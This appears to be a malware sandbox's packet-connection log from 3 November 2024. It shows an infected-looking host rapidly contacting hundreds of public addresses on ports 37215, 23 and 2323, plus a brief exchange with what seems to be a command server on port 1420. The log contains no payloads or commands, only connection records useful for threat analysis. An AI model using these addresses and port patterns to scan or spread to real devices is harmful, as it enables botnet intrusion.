Nov 3, 2024 15:33:05.272989035 CET	47434	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.273150921 CET	37215	36272	197.31.225.2	192.168.2.14
Nov 3, 2024 15:33:05.273792028 CET	33770	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:05.273792028 CET	33770	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:05.273947954 CET	56418	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:05.274491072 CET	37215	36272	197.31.225.2	192.168.2.14
Nov 3, 2024 15:33:05.274513006 CET	23	47764	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:05.274591923 CET	34348	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:05.274818897 CET	56922	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:05.274856091 CET	37215	58704	156.253.95.85	192.168.2.14
Nov 3, 2024 15:33:05.274933100 CET	37215	58704	156.253.95.85	192.168.2.14
Nov 3, 2024 15:33:05.274944067 CET	2323	52338	160.225.3.89	192.168.2.14
Nov 3, 2024 15:33:05.275549889 CET	39372	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.275549889 CET	39372	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.275664091 CET	43342	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:05.276298046 CET	39950	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.276514053 CET	43848	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:05.276613951 CET	37215	39844	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.276792049 CET	37215	39844	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.276801109 CET	23	51908	115.137.137.86	192.168.2.14
Nov 3, 2024 15:33:05.277373075 CET	54486	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.277373075 CET	54486	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.277476072 CET	37215	40422	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.277483940 CET	47750	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:05.277542114 CET	40422	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.277995110 CET	55064	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.278116941 CET	48258	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:05.278578043 CET	37215	33770	197.153.87.52	192.168.2.14
Nov 3, 2024 15:33:05.278717995 CET	37215	33770	197.153.87.52	192.168.2.14
Nov 3, 2024 15:33:05.278727055 CET	23	56418	71.102.250.214	192.168.2.14
Nov 3, 2024 15:33:05.279087067 CET	41216	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.279099941 CET	41216	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.279298067 CET	56656	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:05.280014992 CET	41794	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.280241966 CET	57164	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:05.280369043 CET	37215	39372	156.53.179.243	192.168.2.14
Nov 3, 2024 15:33:05.280601978 CET	37215	39372	156.53.179.243	192.168.2.14
Nov 3, 2024 15:33:05.280612946 CET	23	43342	94.178.187.157	192.168.2.14
Nov 3, 2024 15:33:05.280728102 CET	60518	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:05.281424046 CET	53232	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:05.281435013 CET	53232	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:05.281553984 CET	32794	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:05.282119989 CET	53812	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:05.282227993 CET	37215	54486	156.100.125.226	192.168.2.14
Nov 3, 2024 15:33:05.282243013 CET	37215	54486	156.100.125.226	192.168.2.14
Nov 3, 2024 15:33:05.282306910 CET	23	47750	110.36.39.59	192.168.2.14
Nov 3, 2024 15:33:05.282457113 CET	58668	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:05.282594919 CET	37215	40422	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.283200979 CET	59522	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.283200979 CET	59522	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.283329964 CET	59178	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:05.283947945 CET	60102	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.283972979 CET	37215	41216	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.284173965 CET	37215	41216	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.284184933 CET	23	56656	213.231.65.178	192.168.2.14
Nov 3, 2024 15:33:05.284317017 CET	58102	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:05.284780025 CET	37215	41794	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.284820080 CET	41794	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.284992933 CET	40422	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.285037041 CET	35064	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.285037041 CET	35064	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.285157919 CET	58612	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:05.285586119 CET	23	60518	168.61.185.185	192.168.2.14
Nov 3, 2024 15:33:05.286098957 CET	35644	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.286233902 CET	37215	53232	41.71.163.79	192.168.2.14
Nov 3, 2024 15:33:05.286338091 CET	49258	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:05.286885977 CET	48106	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.286902905 CET	48106	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.287003994 CET	49768	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:05.287262917 CET	23	58668	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:05.287627935 CET	48688	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.287842989 CET	33804	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:05.287997961 CET	37215	59522	197.200.15.170	192.168.2.14
Nov 3, 2024 15:33:05.288090944 CET	37215	59522	197.200.15.170	192.168.2.14
Nov 3, 2024 15:33:05.288532972 CET	44316	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.288532972 CET	44316	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.288665056 CET	34314	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:05.289103985 CET	23	58102	99.114.187.252	192.168.2.14
Nov 3, 2024 15:33:05.289388895 CET	44900	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.289531946 CET	45364	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:05.290024042 CET	37215	35064	41.244.190.25	192.168.2.14
Nov 3, 2024 15:33:05.290034056 CET	37215	35064	41.244.190.25	192.168.2.14
Nov 3, 2024 15:33:05.290323019 CET	39406	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.290323019 CET	39406	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.290426016 CET	45874	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:05.291055918 CET	2323	49258	154.119.121.135	192.168.2.14
Nov 3, 2024 15:33:05.291125059 CET	39992	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.291215897 CET	35990	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.291670084 CET	37215	48106	41.33.156.0	192.168.2.14
Nov 3, 2024 15:33:05.291742086 CET	37215	48106	41.33.156.0	192.168.2.14
Nov 3, 2024 15:33:05.291856050 CET	35544	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.291871071 CET	35544	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.291970968 CET	36496	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.292579889 CET	23	33804	208.192.45.44	192.168.2.14
Nov 3, 2024 15:33:05.292818069 CET	36132	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.293046951 CET	59270	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:05.293339014 CET	37215	44316	156.202.235.113	192.168.2.14
Nov 3, 2024 15:33:05.293421030 CET	37215	44316	156.202.235.113	192.168.2.14
Nov 3, 2024 15:33:05.293628931 CET	36684	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.293628931 CET	36684	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.293813944 CET	59736	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:05.294249058 CET	23	45364	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:05.294611931 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.294804096 CET	60254	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:05.295044899 CET	37215	39406	41.168.203.29	192.168.2.14
Nov 3, 2024 15:33:05.295367956 CET	35024	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.295367956 CET	35024	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.295468092 CET	60708	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:05.295514107 CET	37215	39406	41.168.203.29	192.168.2.14
Nov 3, 2024 15:33:05.295929909 CET	23	35990	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.296148062 CET	35616	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.296511889 CET	35946	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.296713114 CET	37215	35544	41.126.40.159	192.168.2.14
Nov 3, 2024 15:33:05.296721935 CET	37215	35544	41.126.40.159	192.168.2.14
Nov 3, 2024 15:33:05.296793938 CET	23	36496	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.296842098 CET	36496	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.297118902 CET	45532	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.297120094 CET	45532	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.297211885 CET	36228	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.297806025 CET	23	59270	31.125.136.204	192.168.2.14
Nov 3, 2024 15:33:05.297867060 CET	46126	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.298115015 CET	37150	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.298405886 CET	37215	36684	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:05.298477888 CET	37215	36684	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:05.298913002 CET	40880	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.298913002 CET	40880	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.299056053 CET	37418	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.299560070 CET	23	60254	19.214.238.80	192.168.2.14
Nov 3, 2024 15:33:05.299686909 CET	41476	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.300072908 CET	40234	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.300122976 CET	37215	35024	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:05.300206900 CET	37215	35024	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:05.300766945 CET	33396	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.300786018 CET	33396	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.300919056 CET	40344	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.301246881 CET	23	35946	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:05.301516056 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.301990986 CET	37215	45532	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:05.302002907 CET	37215	45532	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:05.302016973 CET	23	36496	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.302023888 CET	33218	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:05.302818060 CET	48192	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.302834988 CET	48192	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.302850962 CET	23	37150	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:05.302947044 CET	33548	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:05.303575039 CET	48792	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.303734064 CET	37215	40880	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.303818941 CET	37215	40880	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.303900957 CET	36496	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.304467916 CET	37215	41476	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.304511070 CET	41476	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.304600954 CET	46884	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.304600954 CET	46884	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.304752111 CET	36524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.305017948 CET	23	40234	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.305461884 CET	47486	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.305603027 CET	37215	33396	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:05.305841923 CET	37215	33396	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:05.306241035 CET	41716	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.306241035 CET	41716	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.306540012 CET	42318	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.306792021 CET	23	33218	213.113.118.201	192.168.2.14
Nov 3, 2024 15:33:05.307151079 CET	37674	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.307151079 CET	37674	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.307550907 CET	38276	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.307811022 CET	37215	48192	197.134.195.220	192.168.2.14
Nov 3, 2024 15:33:05.307859898 CET	37215	48192	197.134.195.220	192.168.2.14
Nov 3, 2024 15:33:05.308098078 CET	44012	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.308098078 CET	44012	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.308396101 CET	44614	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.308696985 CET	23	36496	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.308773994 CET	41174	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.308773994 CET	41174	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.309077978 CET	41776	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.309473038 CET	38830	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.309473038 CET	38830	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.309679031 CET	37215	41476	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.309689045 CET	37215	46884	156.197.175.23	192.168.2.14
Nov 3, 2024 15:33:05.309696913 CET	37215	46884	156.197.175.23	192.168.2.14
Nov 3, 2024 15:33:05.309777975 CET	39398	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.310179949 CET	44164	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.310179949 CET	44164	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.310508966 CET	44730	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.310981989 CET	52322	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.310981989 CET	52322	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.311053038 CET	37215	41716	156.157.48.250	192.168.2.14
Nov 3, 2024 15:33:05.311117887 CET	37215	41716	156.157.48.250	192.168.2.14
Nov 3, 2024 15:33:05.311331987 CET	52886	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.311794996 CET	43156	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.311794996 CET	43156	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.311939955 CET	37215	37674	156.60.157.78	192.168.2.14
Nov 3, 2024 15:33:05.311981916 CET	37215	37674	156.60.157.78	192.168.2.14
Nov 3, 2024 15:33:05.312082052 CET	43718	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.312530041 CET	41946	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.312530041 CET	41946	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.312791109 CET	42506	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.312894106 CET	37215	44012	197.145.255.210	192.168.2.14
Nov 3, 2024 15:33:05.312932968 CET	37215	44012	197.145.255.210	192.168.2.14
Nov 3, 2024 15:33:05.312992096 CET	41476	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.313292027 CET	48066	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.313292027 CET	48066	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.313488960 CET	37215	41174	41.39.13.206	192.168.2.14
Nov 3, 2024 15:33:05.313596010 CET	48602	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.313625097 CET	37215	41174	41.39.13.206	192.168.2.14
Nov 3, 2024 15:33:05.314069986 CET	42858	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.314069986 CET	42858	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.314209938 CET	37215	38830	41.96.22.119	192.168.2.14
Nov 3, 2024 15:33:05.314470053 CET	43328	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.314666033 CET	37215	38830	41.96.22.119	192.168.2.14
Nov 3, 2024 15:33:05.314929962 CET	50466	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:05.314929962 CET	50466	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:05.314944029 CET	37215	44164	41.22.53.118	192.168.2.14
Nov 3, 2024 15:33:05.315058947 CET	37215	44164	41.22.53.118	192.168.2.14
Nov 3, 2024 15:33:05.315259933 CET	50922	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:05.315783024 CET	44442	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.315783024 CET	44442	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.315815926 CET	37215	52322	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.315824986 CET	37215	52322	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.316077948 CET	44876	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.316112041 CET	37215	52886	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.316153049 CET	52886	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.316453934 CET	41086	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.316453934 CET	41086	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.316555977 CET	37215	43156	156.168.50.185	192.168.2.14
Nov 3, 2024 15:33:05.316618919 CET	37215	43156	156.168.50.185	192.168.2.14
Nov 3, 2024 15:33:05.316790104 CET	41502	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.317229033 CET	51050	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.317229033 CET	51050	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.317342997 CET	37215	41946	197.119.54.124	192.168.2.14
Nov 3, 2024 15:33:05.317433119 CET	37215	41946	197.119.54.124	192.168.2.14
Nov 3, 2024 15:33:05.317650080 CET	51444	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.318109035 CET	60154	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.318109035 CET	60154	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.318141937 CET	37215	48066	41.166.104.120	192.168.2.14
Nov 3, 2024 15:33:05.318284035 CET	37215	48066	41.166.104.120	192.168.2.14
Nov 3, 2024 15:33:05.318408966 CET	60530	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.318847895 CET	37215	42858	156.45.220.1	192.168.2.14
Nov 3, 2024 15:33:05.318938971 CET	37215	42858	156.45.220.1	192.168.2.14
Nov 3, 2024 15:33:05.319024086 CET	53310	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.319025040 CET	51386	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.319034100 CET	60654	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.319036007 CET	52136	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.319036007 CET	47434	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.319036007 CET	41794	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.319036007 CET	41476	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.319036007 CET	52886	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.319051027 CET	40422	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.319093943 CET	60694	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.319093943 CET	60694	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.319358110 CET	60964	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.319753885 CET	37215	50466	156.207.157.252	192.168.2.14
Nov 3, 2024 15:33:05.320611000 CET	37215	44442	156.133.111.128	192.168.2.14
Nov 3, 2024 15:33:05.320765018 CET	37215	44442	156.133.111.128	192.168.2.14
Nov 3, 2024 15:33:05.321225882 CET	37215	41086	41.213.232.198	192.168.2.14
Nov 3, 2024 15:33:05.321288109 CET	37215	41086	41.213.232.198	192.168.2.14
Nov 3, 2024 15:33:05.321984053 CET	37215	51050	197.44.49.39	192.168.2.14
Nov 3, 2024 15:33:05.322021008 CET	37215	51050	197.44.49.39	192.168.2.14
Nov 3, 2024 15:33:05.322968960 CET	37215	60154	156.249.165.48	192.168.2.14
Nov 3, 2024 15:33:05.323054075 CET	37215	60154	156.249.165.48	192.168.2.14
Nov 3, 2024 15:33:05.323982000 CET	37215	53310	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:05.323993921 CET	37215	51386	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:05.324002028 CET	37215	60654	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:05.324014902 CET	37215	52136	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:05.324028015 CET	37215	47434	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:05.324038029 CET	37215	41794	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.324068069 CET	41794	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.324111938 CET	37215	41476	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.324120998 CET	37215	40422	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.324131012 CET	37215	60694	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.324143887 CET	37215	60694	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.324155092 CET	37215	60964	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.324201107 CET	60964	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.324229956 CET	37215	52886	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.324246883 CET	60964	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.324263096 CET	52886	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.329732895 CET	37215	60964	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.329777002 CET	60964	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.333844900 CET	37215	53232	41.71.163.79	192.168.2.14
Nov 3, 2024 15:33:05.361804962 CET	37215	50466	156.207.157.252	192.168.2.14
Nov 3, 2024 15:33:05.986186981 CET	33844	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:05.991179943 CET	1420	33844	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:05.991266012 CET	33844	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:05.992049932 CET	33844	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:05.996761084 CET	1420	33844	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:05.996845007 CET	1420	33844	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:05.996846914 CET	33844	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:06.002398968 CET	1420	33844	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:06.076965094 CET	57788	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:06.076967001 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.076965094 CET	48196	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.076983929 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.076984882 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.076984882 CET	44620	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.076987982 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.076987982 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.076987982 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.076992035 CET	42520	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.076992035 CET	60892	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.076997042 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.076997042 CET	57220	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.076997042 CET	60956	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.076997995 CET	36426	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.076998949 CET	52678	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.076999903 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.076999903 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.077003002 CET	54222	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.077003002 CET	39788	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.077008963 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.077012062 CET	44486	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.077012062 CET	57406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.077012062 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.077013969 CET	33980	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.077025890 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.077028990 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.081849098 CET	37215	55194	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.081904888 CET	23	57788	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:06.081911087 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.081921101 CET	23	48196	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.081935883 CET	37215	36686	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.081948996 CET	37215	37596	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.081952095 CET	57788	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:06.081969023 CET	23	42520	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.081975937 CET	48196	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.081981897 CET	23	44620	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.081985950 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.081988096 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.082014084 CET	42520	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.082015038 CET	44620	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.082102060 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.082102060 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.082396984 CET	37215	38862	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.082427979 CET	55720	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.082434893 CET	37215	60892	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.082443953 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.082452059 CET	37215	34488	156.108.202.74	192.168.2.14
